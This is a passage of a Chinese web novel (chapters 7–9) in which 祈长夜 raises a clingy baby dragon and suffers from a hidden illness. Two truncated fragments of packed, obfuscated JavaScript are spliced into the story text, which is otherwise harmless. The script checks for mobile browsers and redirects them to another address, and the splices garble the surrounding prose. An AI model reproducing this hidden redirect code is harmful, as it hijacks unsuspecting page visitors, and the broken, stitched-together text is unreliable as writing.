他想把小龙放到新家，结果小龙用前面的小爪子抓紧他的袖子，小小一只悬在半空，下面的两只小爪子蹬啊蹬，就是不肯松爪。 祈长夜无言，又让它落回自己掌心，小龙立刻开心地追着自己尾巴转圈圈，好像打了一场胜仗。 祈长夜看着这只蹦来蹦去的幼崽，一向平静无澜的眼底，融了些微柔润的光泽。 下一秒，他趁小龙不备，飞快拎起来，塞进培育箱里。 转身走了。 小龙：“……？” 小龙：“？？？” 哗啦——

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119877|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 紧闭的浴室，水声持续不停，祈长夜单手撑着洗手池，捂住嘴，轻咳两声。 炽烈的灯光下，他的掌心有一抹鲜明的血迹，苍白的唇间，沾染猩红。 祈长夜抬起湿润的眼睫，墨黑眸底，些微金色光泽明灭闪烁。 还好，他想，也不是很疼。 片刻后，他神色如常地从浴室里走出。 地板上，一只小龙在嗷嗷嗷地挠门。 祈长夜：……怎么这么黏人。 他弯腰，轻轻伸手，小龙四爪并用，嗖嗖爬回他的掌心，昂起小脑袋，冲他发出“吱嗷吱嗷”的声音。 祈长夜：“没事。” 小龙疑神疑鬼的样子，在他指尖嗅来嗅去。 祈长夜神色依然未变，回到浴室，拿起湿软的毛巾擦擦小龙的爪子，顺便再洗了个手。 洗手液的淡淡香气萦绕在他的指间，小龙什么都没闻出来，略带困惑地抬头。 不小心对上了镜子里的自己。 丑晕倒了。 “……” 祈长夜默默带着小龙远离浴室，回到房间。 窗帘合拢，照不进光的卧室，只有简单的几件家具，干净而整洁。 小龙浅金色的龙瞳转来转去，到处打量这个房间，被祈长夜随手放到床边时，还小心翼翼地抬起小爪子，一动不动，只是昂首看着祈长夜。 很有礼貌的样子，好像在问，我可以在这里玩嘛？ 祈长夜微微颔首，脱下外套，挂在衣架上。 再低头时，小龙已经在床上到处撒欢，蹿进被子又蹿出来，在枕头上滚来滚去，小爪子飞快扒拉床单，蹦蹦跳跳。 礼貌了一秒钟。 祈长夜躺在枕间，颀长的手指轻点小龙脑袋：“我睡一会。” 小龙立刻安静了，睁着圆溜溜的龙瞳，一动不动地趴在枕头上，像只乖乖的猫猫。 祈长夜原本要收回的手微顿，揉揉这只乖乖龙，拉起被角盖住它，阖上眼眸。 乌黑发丝散落枕侧，如流淌的墨色绸缎，衬得他的脸庞冰雪一般。 小龙卧着那团冰凉的绸缎，尾巴轻轻落在祈长夜脸侧，像是圈住了这个人。 它静静地看着他，昏暗的光线里，浅金色的龙瞳，亮起特殊的光泽。 祈长夜鸦羽般垂覆的眼帘微动，头颅微微偏向一边，似乎陷入了更深的沉眠。 小龙贴着祈长夜脸庞，蜷缩在他身边，尾巴一晃一晃，轻轻唱起了腔调古老而悠长的歌谣。 …… 久违的，祈长夜做了一个梦。 梦中不是冰冷的深渊，也不是曾经无数次出现在他幻觉里的，一双双血淋淋的眼睛。 黑沉而静谧的梦境里，他听见一道歌声，轻缓地徘徊在他耳边，驱散了萦绕不去的寒意。 那是道……很难听的歌声。 仿佛某位诡异的古神在唱歌，甚至很难形容那是不是歌声，而是古神阴暗的低语。 然而，在这样诡异的声音里，他居然睡得格外安宁，没有梦到那些血淋淋的过去，没有梦到……那些永远留在过去的人。 渐渐的，歌声远去，一个有些熟悉的少年声音，出现在他的耳畔。 【哥哥】 【哥哥，哥哥】 少年轻轻地喊他，像在撒娇，亲昵又依恋。 ……哥哥？ 祈长夜在梦中随口说了一句：“我没有弟弟。” 【……】 少年只停顿了一秒。 【哥哥哥哥哥哥——】 开始嗷嗷叫。 熟悉的语气，特别像某只炸毛的小龙。 祈长夜：“……” 然后他就醒了过来。 微风拂起窗帘，窗外晚霞绚烂。 祈长夜眼眸微动。 入睡的时间，是五个小时。 他已经很久很久，没有超过三小时的睡眠了。 不是冰冷的噩梦，梦境宁静而安稳，这样的奢侈对于他来说，简直恍如隔世。 但是，在梦里…… 祈长夜喃喃低语：“刚刚好像有鬼在叫。” 小龙：“……” 祈长夜偏过头：“你听见了吗？” 小龙：“……” 小龙气得嗷嗷直叫，一甩尾巴，扎进了被窝里。 过了两秒，又气呼呼地从被窝里冲出来，掀开祈长夜衣角，一脑袋扎进他的袖子里。 露出一条甩来甩去的小尾巴。 不高兴了！ 要哥哥哄一下！ 7. 第七章 祈队，约会？ 黄昏时分，一辆运输车悄悄驶出芙洛城。 车里的乌城来客，来时有多风光，回去就多狼狈。布林诺歪躺在椅子上，甚至没有力气起身。 比起身上的疼痛，更折磨他的是心理上的痛苦。第十席的命令里，他已经被废除身份，回去还要接受处罚…… 想到那些可怕的刑罚，他就战栗起来，心脏被绝望一口口吞噬。 唯一让他还有点希望的是，他已经给家族写信，让父亲救他—— “博士，你的家族发出声明，与你断绝关系。” 听到随从这句话，布林诺猛地要弹起，被随从按住了。 “他们不能这么做！”布林诺剧烈喘气，喉咙发出破风箱的声音，“我是家族的长子，正统继承人！” “你父亲接回来一个少年，对外宣传是自己儿子，而且，他还是个进化者。” 随从说。 “现在，你弟弟已经被你父亲正式宣任为下任家主。” 布林诺一口气没喘上来，吐出一口血。 他不能理解，为什么一切会变成这个样子，为什么……只是因为他得罪了祈长夜，就要付出这样的代价？！ 可是，他的所作所为，明明都来自上城的授意，他的一切，都是听从上城！ 布林诺直直地瞪着前方，忽然发现，他的随从，居然在笑。 微笑地看着他。 “你……你也要丢下我？你也背叛了我？？” 随从：“博士说笑了。” “我只是觉得，昨天那一幕真是无聊，你们甚至没让祈长夜动用他真正的能力。” 他像是很遗憾似的，叹了口气：“‘傀儡师’，已经三年不曾现世了。” 布林诺目瞪口呆地看着他，根本无法理解这番话的意思，但很快的，一个更恐怖的猜想浮上心头，令他的心脏几乎停止了跳动。 “为什么……为什么上城要派我过去？为什么是我？！” 随从露出怜悯的眼神。 “因为你们没经历过三年前的那一夜，因为你们足够愚蠢，愚蠢到敢去挑衅他。” “什么所谓的真龙，只是随着旧地球一起泯灭的尘埃，如果真龙足够强大，那个时代还会覆灭吗？” “乌城是永远不会坠落的太阳，无需睁眼蔑视深渊的爬虫。但，我们的祈队可是不同的。” “就算是最上面的那位坐席，这些年来，也一直注视着他。” 布林诺浑身颤抖，几乎无法呼吸了：“你到底是谁的人？！” 随从依然在微笑，只是微笑。 —— 【乌城的人在返回途中发生车祸，只有一人幸存】 【这件事我来处理，你不用管】 通讯器收到两条消息，是雅歌发来的。 祈长夜眼眸扫过，淡淡地说：“不管过去多久，他们还是那样。” 小龙瞄了眼屏幕，不知道有没有听懂，点点脑袋，表示赞同。 然后开始往被子里钻。 被子滑落至祈长夜腰间，衬衫底下的腰线流畅优美。小龙就趴在他的腰上，露出一只小脑袋，悠闲地眯着眼睛。 祈长夜的手指落在小龙头顶：“助眠的歌声，是你的能力吗？” 小龙没有摇头或点头，而是用一种带点小幽怨的眼神看着他。 祈长夜停顿一秒：“还是，很，好听的。” 小龙：“……” 小龙双脚一蹬，直挺挺地翻了过来。 气晕。 祈长夜揉揉小龙软乎乎的肚子，轻轻地说：“谢谢。” “我已经很久没有睡个好觉了。” 小龙啪一下翻回了身，小爪子抱住他的手指，贴贴指尖，发出奶奶的“嗷嗷”声。 我会一直陪着你。 这样每天都能睡好觉啦。 祈长夜听懂了小龙的话，眼底划过些许涟漪，却又很快沉于墨色深处。 梦中除了歌声，似乎还有人在轻声喊他，不过，他记不清了。 “你会说话吗？” 小龙发出“吱嗷吱嗷”的声音。 深渊的少数怪物，也具备听懂人类语言的能力。但，目前还未出现过能够口吐人言的怪物。 祈长夜试图教这只小龙一些简单的人类词汇，他说两个字，小龙就嗷嗷两声，三个字，小龙就嗷嗷嗷三声，一个字，小龙就吱一声。 祈长夜：好吧，毕竟才破壳两天，还小。 才破壳的小龙又开始到处乱爬，蹦蹦跳跳。 悄咪咪钻进他的衣服里，被他揪着小尾巴提溜了出来。 悬在半空，睁着无辜兮兮的龙瞳，非常单纯地看着他。 祈长夜拎着小龙的后颈晃了晃，让它落回自己的掌心。 “饿不饿？” 小龙摸摸肚子，点了下小脑袋。 祈长夜看着掌心里小小一只的幼崽，心想，多吃点东西，才能快点长大。 没过多久，新鲜的蔬菜和肉类被送到了家门口。 一条鱼在案板上扑腾两下，不动了。 祈长夜：“吃吗？” 还没鱼脑壳大的小龙露出了困惑的眼神。 它歪着脑袋，和那条鱼大眼瞪小眼，过了两秒，试探着伸出小爪子，扒拉一下。 鱼原地扑腾起来，甩它一脸水。 小龙：“……” 小龙嗷嗷嗷地蹿回祈长夜手边，飞快甩掉水花，四只小爪子都在胡乱扒拉。 祈长夜默默地用温热的毛巾给它擦干净，小龙很委屈的样子，蜷缩在他指间哼哼唧唧。 祈长夜安抚地摸摸小龙，把它放到一旁，按着那条鱼，手起刀落。 血流了一池子，他开始处理尸体。 剁头，剖腹，割肉——他的手法行云流水，动作之熟练利落，好像不是在杀鱼，而是在杀别的什么东西。 小龙趴在一旁，目不转睛地盯着身边的人，白皙而骨节分明的手指沾染鲜血，鸦羽般的眼帘低垂，墨色眼眸清宁沉静。 祈长夜分尸的技术很好，片好的薄薄鱼肉几可透光，差不多的大小和薄度，摆在一起，就像一盘完美的艺术品。 丢进碎肉机里，日地一声打成糊糊。 “……？” 小龙缓缓歪头。 一坨鱼肉糊糊很快打好，祈长夜敛着眼睫，思考片刻。 丢了几颗蔬菜，日地一声打成糊糊。 小龙：“？？” 白色的鱼肉糊糊和绿色的蔬菜糊糊混在一起，洒下各种小龙认不出来的调料，搅拌搅拌，上锅一蒸。 几分钟后，祈长夜端出一碗奇妙的东西。 仔细一看，色香味俱无。 小龙：“……” 小龙迟疑地往后挪了一步。 以免烫到小龙，祈长夜当着它的面，自己先尝了一口。 味道还行。 他拿起调羹，耐心地吹凉，送到小龙嘴边。 小小的幼崽盯着调羹里的那一坨，好像在发呆。 祈长夜轻声说：“不喜欢吗？” 小龙的目光游走到他修长匀称的手指，再游走到那沉静漂亮的眉目，停顿几秒。 闭上龙瞳，嗷呜一口，吞了。 刚刚入口，小龙就抖了一下。 吃一口，抖一下。 一边吃，一边抖。 祈长夜：“……” 太好吃了吗？ 他迟疑地又舀了一勺，这是一只挑食的幼崽，不喜欢的营养剂，一口都不肯碰，但现在……似乎吃得还挺香。 小龙扒拉着调羹，又是一口，抖啊抖地咽了下去。 祈长夜：“还要吗？” 小龙停顿了足足三秒，慢慢地，慢慢地点了下脑袋。 吃完一整碗糊糊，小龙瘫在桌上，一动不动。 好像死了。 祈长夜：吃撑了。 原来，这只小龙能吃人类的食物。 只是不喜欢营养剂而已。 虽然，祈长夜觉得营养剂的味道也还行，和他做的菜差不多。但既然小龙更喜欢吃他做的，那也不是什么麻烦事。 半小时后，他揣着摊成一坨的小龙，踏着薄薄夜幕出了门。 芙洛城的中心图书馆，祈长夜找到了旧地球时代的史籍拓印本，上面记载着一些旧地球的生物。 白手套翻开泛黄的书页，停在其中一张，上面彩绘着一只张牙舞爪的怪物。 因为原始资料的丢失，重现的怪物并不完整，身躯有几处残缺，模样十分清奇。 小龙趴在他的手背上，盯着那张彩绘的怪物，露出很嫌弃的眼神。 好丑。 祈长夜：“这是古书记载的龙。” 小龙：“？” 小龙摇摇尾巴，原地转了一圈，冲祈长夜昂起脑袋。 我更好看！ 祈长夜：似乎没什么说服力。 小龙开始用小爪子扒拉他 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祈长夜拢着这团温暖的幼崽，小龙抬起两只小爪子，包着他的指尖，轻轻晃一晃。 祈长夜：小黏包。 睡觉也要黏着他吗？ ……要是送到别人家，不知道会不会因为太黏人，被人嫌弃。 眼睫覆住眸底的神色，他一下一下抚摸掌心里的小黏包，不知在想些什么。 “祈队？” 有人从书架后探出身体。 “真……巧啊。” ——那是艾丽娅的同事，两天前在会议室，见证了布林诺发难的实验人员。 祈长夜抬起眼眸，图书馆光影晃动一下，他的眼睫在皎洁肌肤间投下浓密的阴影，眉骨自下颌的曲线优美而分明。 那个年轻的实验人员无端呆滞一下，抓紧手中的书。 “今天加班了，我来这里找点资料。” 他好像忽然不会走路了，一点点横挪了过来。 “祈队，上次的事情还没向你道谢。要不是你护着我们，我们真的会被上城带走，说不定还会死在那场车祸里……” 小龙昂起脑袋，浅金色的龙瞳，微微眯起。 祈长夜：“不用。” 实验人员“哈哈”一声：“祈队你也喜欢看书啊，你今晚都看了什么书？” 这句话刚说完他就变了神色，龇牙咧嘴，好像自己被自己尬住了。 祈长夜沉默。 实验人员咳嗽一声：“今……今晚月色真美。” 祈长夜：“今天没有月亮。” “是，是吗！” 实验人员咳得更大声了，别过脸，眼睛却不受控制，不断瞄向祈长夜这边。 “呃……祈队，你现在有空吗？” 小龙一下子挺直了身躯：“？” 灯光下，实验人员的脸莫名有些红，声音也磕磕巴巴的。 “我觉得，我还是得认真地向你说声谢谢……” “要不然……我们一起去喝杯咖啡？” 祈长夜看了眼旁边的时钟，晚上十点。 小龙忽然开始磨爪子。 祈长夜不明所以地垂眼，看着这只不知为什么阴森森起来的小龙，轻轻按住它，再望向对面那张莫名红晕满布的脸庞。 “你生病了？” 实验人员：“……” 在祈长夜平静地询问是否要帮他喊医生后，那个实验人员失魂落魄地离开了。 小龙扒拉着祈长夜袖子，一下一下挠爪子，没有用力，但看着不太高兴的样子。 祈长夜轻点这只幼崽的脑袋：“怎么了？” 小龙昂起小脑袋，黏糊糊地蹭蹭他的指尖，刚“嗷”了一声—— “祈队！” 一道惊喜的声音从旁边传来。 “真巧！没想到能在这里遇到你！” “自从和你分开后，我一直想着再见你一面……” 小龙：“？？？” 小龙迅速扭头，书架那头，一位少女双目炯炯，身后是个容貌相仿的少年。 还不等那个少女再说什么，小龙就嗖一下，四只小爪子并用，沿着祈长夜的手腕一路向上爬，一下蹿上了他的肩膀。 踩在肩膀上，昂首挺胸。 抬起两只小爪子，摆出非常凶的样子。 祈长夜：“……？” 8. 第八章 小龙的尾巴 张牙舞爪的小龙，让对面的少年少女齐齐后退一大步。他们的眼神里，好像从未见过如此丑陋可怖的怪物。 祈长夜捏着小龙后颈，把这只嗷嗷凶的小黏包拎了下来，手掌轻拢，一下一下安抚。 小龙收起爪爪，尾巴勾住他的手指，从食指游走到无名指，紧紧缠绕着他，卷成了一小团麻花龙。 “祈队……这，这好像是深渊里的怪物？” 少女小声地说。 “看着好……危险啊。” 祈长夜语气不变：“它不是怪物，不会伤人。” 话音刚落，他的指尖微微一湿。 小龙亲了他一口。 祈长夜眼睫微跳，按住小龙脑袋。 “您救下我们以后，我们一直想找个机会向您道谢。” 少女向前走了几步，她依然记得，几天前，这位清隽好看的年轻男子出现在深渊，将他们带出黑暗而绝望的地下。 和少女的热情相反，她身后的少年只是压着脑袋，一下下扯动她的衣角，想将她拉走。 少女不解回头，少年别过身体，根本不看她。 “祈队，不好意思，我弟弟可能不太舒服……” “没关系。” 听见那道清沉悦耳的声音，少女松了口气，有些遗憾地带着弟弟走了。 “姐！你喊他干嘛？” 才到楼梯底下，少年就不满地冒出一句。 少女奇怪：“他是我们的救命恩人啊，你之前不是很仰慕他，还想加入他的小队吗？” 少年左右看看，压低声音：“我听队长说……他是杀人犯，是恶魔！很多人只是因为和他对视，就被他杀了！” “他的能力，就是用那双眼睛杀人，还经常失控，害死了很多无辜的人！” 少女：“……没有吧……刚刚我们都没事……” “他们都这么说，不会有假！”少年说，“你看到那只怪物了吗？听说他为了那只怪物，害死了好几个上城的人！” “这种危险分子，就是不定时炸弹，我们还是离他远一点吧！” 话音刚落，一道修长的身影从楼梯走下。 祈长夜目不斜视地经过他们身边，脸上并不见什么神色。 少年的脸庞刷一下白了。 他看见了……一双眼睛。 一双森寒的，恐怖的……不属于人类的眼睛。 ——金色的，竖立的龙瞳。 那只深渊的怪物，盯上了他。 祈长夜垂眼。 掌心里的小龙转过来，冲他歪了下脑袋，圆溜溜的龙瞳，清澈又乖巧。 祈长夜与这只乖兮兮的小龙对视几秒，平静地开口：“回家吧。” 小龙软软地“嗷”了一声。 他们的身影消失在夜幕之外，少年一屁股摔倒在地，冷汗直流，任他姐姐怎么扶都爬不起来。 那双令他毛骨悚然的眼睛，绝对不是幻觉。 那只怪物，在警告他—— 没有下一次。 —— 亮起的灯盏，照亮了玄关一道小小的身影。 祈长夜看着试图爬到衣架上、扒拉他外衣的小龙，开口：“他们说的，不全是谎言。” 他伸手，接住从衣架跳下的小龙：“留在我身边，会很危险。” 小龙摇着尾巴转了一圈，露出尖尖的小牙。 我也很危险！ 祈长夜：……有点可爱。 他轻揉小龙脑袋，小龙抱住他，亲亲他的手指。 祈长夜一顿，飞快收回手指，拎起小龙，放到沙发的软垫上。 小龙弹弹跳跳，咬着软垫边角甩了甩，没甩动，扑到软垫上，被弹了回来。 祈长夜从橱柜里拿出一只药瓶，倒了几片药。 雪白的药泛着难以忽视的苦涩，他平静地吞下，面色好像都苍白了几分。 小龙：“嗷？” 它冲祈长夜抬起小爪子，想要抱抱。 祈长夜的手刚一靠近，小龙就蹦跶到他的掌心里，嗅嗅他身上清苦的药味。 小爪子扒住药瓶，一声不吭地往里面探头。 再冒出头时，叼着一颗药。 祈长夜：“？” 他抓起小龙，飞快摇晃摇晃：“不能吃。” 不知为什么，小龙并没有吐出药片，而是直接咽了下去。 然后就一动不动了。 浅金色的龙瞳就这么睁着，大脑宕机。 祈长夜：“……” 他默默地倒了一杯水，喂给小龙，小龙咕嘟咕嘟灌下一大口，脑袋往旁边一歪，一副生无可恋的样子。 祈长夜轻轻用手指托起小龙脑袋：“这是药，不是糖。” 他顿了一顿，说：“你要是想吃糖，我下次给你买。” 小龙没吭声，看看祈长夜，蔫蔫地摇摇尾巴，看看那个药瓶，蔫蔫地摇摇尾巴。 那双圆溜溜的龙瞳耷拉下来，露出非常心疼的神情。 祈长夜对上这熟悉的眼神，无言几秒，轻声说：“也不是很难吃。” 小龙愁得尾巴都不摇了，小爪子托着低垂的脑袋……爪爪太短，够不着脑袋。 于是抬起小尾巴，贴上祈长夜苍白的手腕，努力地想要圈住他。 才破壳几天的幼崽，只有一么么大，连削痩的手腕都圈不住，只能退而求其次，紧紧地圈住祈长夜手指。 那几只软软的小爪爪，一下一下轻拍祈长夜手背，无声地安慰他。 不苦不苦，摸摸你。 有那么几秒，夜间的风声，好像都听不见了。 祈长夜的手指一点点抬起，抵住那只小爪子。 幼小而温暖的身影映在墨色如海的眼眸深处，似乎有一道微小却无法忽视的暖流，沿着指尖，涌入血管，坚定地汇向身体四面八方。 哪怕是来自深渊的、早已扎根进骨髓深处的寒意，也能被小小的太阳驱散。 他低声说：“谢谢。” 小龙拿脑袋拱拱他。 脚下一滑，忽然劈叉。 小龙：“？” 这只幼崽好像一下子控制不住自己，四只小爪爪无法支撑起来，腹部贴着桌面，就这么向蠕动了一小段距离。 发现这样也能爬，非常新奇的样子。 于是劈叉地爬来爬去。 祈长夜：“……” 就说药不能乱吃。 他迅速起身，又给小龙灌了几杯水，十多分钟后，小龙就恢复了正常。 它坐在祈长夜手臂上，几只小爪爪握紧又松开，再瞄了眼那个药瓶，露出警惕的小眼神，好像那是什么危险的毒药。 祈长夜：“你没病，别碰那个。” 小龙尾巴一甩，试图把药瓶骨碌碌推下桌子，暗鲨掉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119879|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>祈长夜收走药瓶：“我有，别弄没了。” 小龙大大地叹气。 很快，这只小龙又侧过脑袋，贴上祈长夜手指，发出轻软的“嗷嗷”。 你再等一等我。 等我长大，就好啦。 祈长夜并未说话。 小龙开始大声地“嗷嗷嗷”，像只小炮仗。 等我！！ 祈长夜：“好吧。” “该睡觉了。” 他捧起小龙，放进培育箱里。 小龙异常之乖巧地趴在培育箱的软垫上，居然没有揪着祈长夜的袖子不放。 等他收回手，小龙还是乖乖地趴着，一动不动。 祈长夜与这只还没有软垫大的幼崽对视几秒，手指垂落，摸摸它的脑袋：“晚安。” 他转身。 小龙一个蹦跶。 轻轻松松地跳出培育箱，甩着尾巴，大摇大摆地跟在祈长夜身后，溜达进了房间。 祈长夜无言地垂首，看着小龙一路晃悠着尾巴，路过他身边，又蹦跶一下，轻巧地跳上了他的床。 窝在床上，冲他昂起小脑袋。 随便坐呀。 祈长夜：“……” 他拎起这只小龙，在它的嗷嗷声中——进了浴室。 片刻后，又拎着一只刚刚洗过澡、浑身香喷喷的小龙走了出来，轻轻放到枕边。 小龙扒拉一下床单，昂首看看祈长夜，下一秒，开始在床上撒欢。 祈长夜发现，这只才破壳几天的幼崽，好像忽然解锁了一个新技能——蹦跶。 能一下子蹦跶得特别高，就比如现在，从床头蹦跶到书柜，又从书柜蹦到衣架，扒着他的外衣荡秋千。 ——一个没扒拉稳，骨碌碌滚了下来。像颗小圆球，滚到了床底下。 两秒后，小龙从床底爬了出来，假装无事发生，又蹦回床上了。 祈长夜：“……” 他再次拎起嗷嗷叫的小龙，进了浴室。 星光隐于寂寥的夜空，城市灯火渐暗。 黑漆漆的卧室，小龙尾巴有一下没一下扫过枕边，贴着祈长夜，轻轻哼起了歌。 祈长夜：……还是很难听。 他偏过头，对上黑夜里那双亮晶晶的龙瞳，欲言又止。 难以言喻的歌声回荡在屋内，祈长夜抬手拢住小龙，一下一下抚摸它软乎乎的脊背。 不知过去多久，他颀长的手指微微屈起，依然拢着小龙，不再动作。 小龙从他的指间钻出来，悄无声息地爬出被窝，来到他脸侧。 小小的身躯窝成一团，这只幼崽抵着祈长夜额角，眷恋地磨蹭几下，在黑夜里，安静地凝视他沉睡的眉眼。 最后一颗星辰消失在天际线边，褪色的夜空被晨光晕染。 没有梦魇的夜晚，像是回到了几年前。明明只是短暂的几年，却仿佛隔了一个世纪那么漫长。 祈长夜睁开眼睛，脸侧窝着一团暖烘烘的幼崽，他抬手，将那只小太阳捧了起来。 小龙飞快地在他掌心里转圈圈，昂着脑袋，发出欢快的“吱嗷”声。 不知为什么，今天的小龙好像格外开心，蹦来蹦去，小爪爪软软地踩着祈长夜手掌。 那条小尾巴，一晃一晃甩个不停，尾巴末端，有什么在闪闪发亮。 祈长夜眸光微凝。 “这是……” 9. 第九章 要养我嘛？ “嗷！” 小龙软软的尾巴搭在祈长夜手腕上，骄傲地昂起小下巴，像一只开屏的小孔雀。 ——它的小尾巴末端，长出了一枚色泽银白、倒三角形状的鳞片。 小小一只的幼崽，鳞片还没小指指甲大，却是皎洁无暇的银雪，泛着微微的细闪。 祈长夜小心地碰了碰，鳞片并不坚硬，而是和小龙一样，柔软又温暖。 毕竟，这是一枚刚长出来的、小龙唯一的鳞片。 细长的尾巴一摇一摇，新生的鳞片就在阳光底下闪烁着细碎的光泽，像一颗闪闪的碎钻。 到了没有光线的地方，鳞片又流淌另一种内敛却美丽的光泽。 祈长夜：“很漂亮。” “再长大一点，是不是全身都有鳞片了。” 小龙啄米般点点脑袋，圆溜溜的龙瞳一眨不眨看着他。 还想要夸夸！ 祈长夜：“到那时，你一定是条最好看的小龙。 漂亮的，闪闪发亮的小太阳。 “嗷嗷！” 小龙开心到飞起，圆溜溜的龙瞳都弯成月牙。 跳来跳去，尾巴灵活地跃动，鳞片就在阳光底下一闪一闪，像星星落在湖面涟漪的倒影。 它从祈长夜的掌心跳到腿上，昂首挺胸，沿着床溜达一圈，最后跳进祈长夜衣兜，被他揣进浴室。 洗漱的时候，小龙依然晃悠着它的小尾巴，时不时扭头看一眼，又在祈长夜面前哒哒哒地晃来晃去。 祈长夜就夸了一声又一声，到吃早饭的时候，小龙已经是条膨胀小龙了。 溜达进橱柜里，抱着一只最小的碗不撒爪。 想要这个！ 祈长夜：“好。” 然后，把今天的早餐——他亲手做的鱼肉糊糊倒了进去。 小龙忽然不动了。 尾巴都不摇了。 就这么直直地盯着碗，不知道在想些什么。 祈长夜戳戳小龙：“不想吃吗？” 小龙飞快摇摇脑袋，抱紧小碗，好像下定了某种决心。 “嗷——”的一声。 一脑袋扎进了碗里。 祈长夜：“……” 有这么喜欢吗。 他安静地托着下颌，看着这只埋头吃吃吃的幼崽。 扫荡完一整碗鱼肉糊糊，小龙抱住自己的小碗，脑袋搁在碗沿，一动不动，好像在思考龙生。 祈长夜：吃撑了。 碗里空荡荡的，一点不剩，看来，这只小龙真的很喜欢。 祈长夜决定中午给它换个口味，除了蔬菜和鱼肉外，还可以加点苹果，混合在一起。 反正，小龙也喜欢苹果。 他拆开一支营养剂，一饮而尽。 小龙：“？” 小龙不解地盯着那支营养剂，又看看自己的小碗，发出一声疑惑的“嗷”。 为什么要吃那个。 好难吃。 祈长夜：“方便。” 小龙沉默两秒，痛心地抱住祈长夜，又开始大声叹气了。 祈长夜沉默。 他总感觉在这只幼崽眼里，自己好像已经被打上了“过的什么苦日子”的标签。 耐心地解释：“也没有那么难吃。” 小龙露出一种“你别说啦我都知道啦”的眼神，怜爱地蹭蹭他。 不信。 祈长夜：“……” 他决定中午给小龙的糊糊里多加一点水果。 阳光洒满沙发，一只小龙又开始欢蹦乱跳，围在祈长夜身边，四处追着光线。 它往前一跃，跃过一道光屏。 光屏悬在通讯器上方，小龙好奇地绕回来，小爪子穿过虚空的屏幕，挠一挠。 下一秒，屏幕浮出一双紫罗兰色的眼睛——芙洛城的城主，雅歌。 “哟，小家伙。” 雅歌吹了声口哨：“时间差不多咯。” 小龙：“？” 小龙掀起祈长夜的袖子就钻了进去，藏起来，不肯冒头。 祈长夜轻轻遮住袖子，说：“有新任务吗？” “你的心理医生昨天刚跟我说，你最近在吃药，不能动用精神力。” “这段时间，你好像已经用过几次了？” 小龙从袖子里拱出来，浅金色的龙瞳紧紧盯着祈长夜。 祈长夜伸了根手指，把小龙一点点推回袖子里：“不要紧。” 小龙又冒出来，继续盯着祈长夜。 祈长夜又默默地把小龙塞了回去。 “那可不行，我可不想虐待病人。” 雅歌轻转手中的笔。 “这些年深渊的救援任务全是你负责的，于情于理都该给你放个假，半年怎么样？” 祈长夜摇头：“太长了。” “那就十二天好了。”雅歌说，“本来我也不想一直重复十二天的，谁让某人一开始说只养某个小家伙十四天，现在好了，还剩十二天。等十二天一过，我就要把某个小家伙接走咯。” 话音刚落，她结束了通话。 祈长夜：“……” 小龙：“…………” 小龙一下从祈长夜袖子里钻了出来，这次怎么塞都塞不回去了。 祈长夜与那双好像含着许多情绪的龙瞳对视片刻，微微别过了脸。 窗外云卷云舒，染上晚霞的绯红，隐没在星光之间，又随着鱼肚白飘起，光洁如雪。 新的一天早上，小龙抱着属于它的小碗，坐在它的小软垫上，埋头吃新的糊糊。 祈长夜安静地坐在一旁，这几天，小龙“霸占”了很多家里的东西，厨房客厅还有卧室的某个角落，都成了小龙的专属领地。 他知道，这只小家伙是想尽可能地多留下一点它的痕迹。 它想留在这里。 乌黑的眼睫微垂，祈长夜的手指悬停在通讯器上方，不知在想些什么。 恰好，一条新消息弹了出来，来自雅歌：【给某只小家伙添置的窝】 照片里，宽敞的客厅边沿，多了一个崭新的培育箱。 祈长夜第一反应是，太空了，里面的垫子也不够软，离窗户太近，又在客厅，晚上刮风，客厅太黑，小龙可能会害怕。 他把这段话发过去，雅歌过了半天才回了一句：【艾丽娅也觉得没问题，不要你管】 祈长夜：“……” 他抬眼，吃完糊糊的小龙趴在沙发间，窝在那个专属它的小角落发呆，尾巴末端的鳞片，微微闪烁。 晨间的风流转过阳台，再拂来时，夜色已笼上窗畔。 深夜下了一场雨，惊雷劈开呼啸的雨幕，房间被轰隆不绝的雷霆照亮，夹杂虚弱的咳嗽。 床头的杯子坠地，水花四溅。 小龙从温暖的被窝里惊醒，发现自己已经被挪到了客厅。 卧室房门紧锁，小龙毫不犹豫地一蹦而起，扒拉住门把手，用力地蹬蹬爪子，按开了门。 房门推开，它的龙瞳里，一道削瘦的脊背伏在床头，如弯折的柳枝，苍白的唇角染血，沿着毫无血色的下颌滑落。 小龙受惊，立刻冲了过去，祈长夜猛然睁开眼，一刹那如黑夜里的利剑出鞘。 那双墨黑无光的眼眸沉如暴雨乌云，偶有金色的雷霆滚动闪烁。 然而，锋锐的清明只持续了短暂一秒，就坠入无尽的寒夜。祈长夜的眸光落在虚空，眼眸恍然而失去了焦距。 小龙抓住他的手指，冰凉刺骨的指尖冻得它瑟缩一下，却抱得更紧了。 这只幼崽紧紧贴着祈长夜，试图用自己的体温去捂热他，小小的尾巴也一寸寸缠上去，一声一声急促地喊他。 “嗷？嗷！” 哥哥？哥哥！ “对不起……” 轻喃的低语，几乎难以听清。然而，小龙还是捕捉到了。 它昂起脑袋，龙瞳里似乎浮出惊喜的神色，但很快它就发现，这句话并不是对它说的。 祈长夜双目失神，遍体冰凉，在雷鸣暴雨的寒夜里失去了意识，只是喃喃重复着三个字。 “对不起……” “对不起……大家……队长……” 小龙一动不动，定在原地。 